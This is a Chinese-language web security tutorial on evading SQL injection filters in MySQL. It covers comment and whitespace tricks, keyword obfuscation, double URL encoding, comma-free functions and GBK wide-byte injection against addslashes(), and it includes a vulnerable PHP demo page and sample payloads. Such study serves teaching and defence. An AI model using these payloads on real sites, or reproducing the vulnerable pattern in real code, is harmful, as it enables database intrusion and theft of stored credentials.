【22】WEB安全學習----MySQL注入-7(繞過限制)
註釋符:-- 、#、/**/繞過
只能閉合後面的語句,使其成為正確的SQL語句。
$sql="SELECT username FROM users WHERE id='{$id}' limit 0,1;"
$id=-1' union select version() '1;
$sql="SELECT username FROM users WHERE id='-1' union select version() '1' limit 0,1;"
空格繞過
可通過註釋符/**/進行繞過空格
或者是通過以下編碼進行繞過。
%09 TAB 鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return 功能
%0b TAB 鍵(垂直)
%a0 空格
關鍵字元繞過
1、如果不是忽略大小寫過濾,則大小寫變形進行繞過 Or And UnIon等
2、and or 可利用符號進行代替為 && ||
3、如果只匹配過濾了一次,可使用雙字元進行繞過,如UNIunionON
URL二次編碼繞過
如果後臺會再次對接收到的引數進行URL解碼,此時可以進行二次URL編碼繞過。
<?php
$id=urldecode($_GET['id']);
?>
#->%23->%25%32%33
HEX、BASE64等編碼繞過
如果提交的資料區包含敏感詞彙,被檢測到,此時可以使用各種編碼進行繞過。
逗號繞過
在使用函式時,大多數函式會使用逗號,如果過濾了逗號,那麼以下函式可以不使用逗號進行繞過
SELECT MID('mysql' from 1 for 1);
SELECT SUBSTR('mysql' from 1 for 1);
SELECT * FROM users limit 1 offset 1;
order by繞過
當order by被過濾時,無法猜解欄位數,此時可以使用into 變數名進行代替。
SELECT * FROM users WHERE id=1 into @a,@b,@c,@d;
也可以使用group by進行代替
比較符繞過
比較字元>、<、=等,在盲注逐字猜解時用到,可使用in、between、strcmp、greatest等繞過。
寬位元組注入
addslashes()
返回在預定義字元之前新增反斜槓的字串,預定義字元是:
單引號(')
雙引號(")
反斜槓(\)
<?php
echo addslashes($_GET['id']);
由於此函式對單引號和雙引號及反斜槓都進行了處理,故不能閉合SQL語句從而進行注入。
PHP程式碼:
<?php
header('content-type:text/html;charset=gbk');
@$id=$_GET['id'];
if(!isset($id)){
die('請傳入GET方法id引數值');
}
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('連線資料庫失敗:'.$mysqli->connect_error);
}
$mysqli->select_db('user');
if($mysqli->errno){
die('開啟資料庫失敗:'.$mysqli->error);
}
$mysqli->set_charset('gbk');
$id=addslashes($id);
$sql="SELECT username,passwd FROM users WHERE id='{$id}' limit 0,1";
echo $sql.'<hr />';
$result=$mysqli->query($sql);
if(!$result){
die('執行SQL語句失敗:'.$mysqli->error);
}else if($result->num_rows==0){
die('查詢結果為空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo '使用者名稱:'.$array1[0]['username'].'<br />'.'密碼:'.$array1[0]['passwd'].'<br />';
}
通過新增單引號被轉義為\',無法閉合單引號進行注入。那麼如果繞過這個注入呢,就要用到寬位元組注入方法了。
通常來說,一個gbk編碼漢字,佔用2個位元組。一個utf-8編碼的漢字,佔用3個位元組。而mysql在使用GBK編碼的時候,會認為兩個字元是一個漢字(前一個ascii碼要大於128,才到漢字的範圍)。
繞過的原理是:urlencode(‘\) = %5c%27,我們在%5c%27 前面新增%df,形成%df%5c%27,而 mysql 在 GBK 編碼方式的時候會將兩個位元組當做一個漢字,此事%df%5c 就是一個漢字,%27 則作為一個單獨的符號在外面,此時就繞過了限制。
首先設定資料庫編碼方式為GBK,及頁面顯示也為GBK。
可看到,通過加入%df,%df%5c組成漢字【運】,後面的單引號限制就被繞過了
此時,就可以按照正常的流程進行注入了。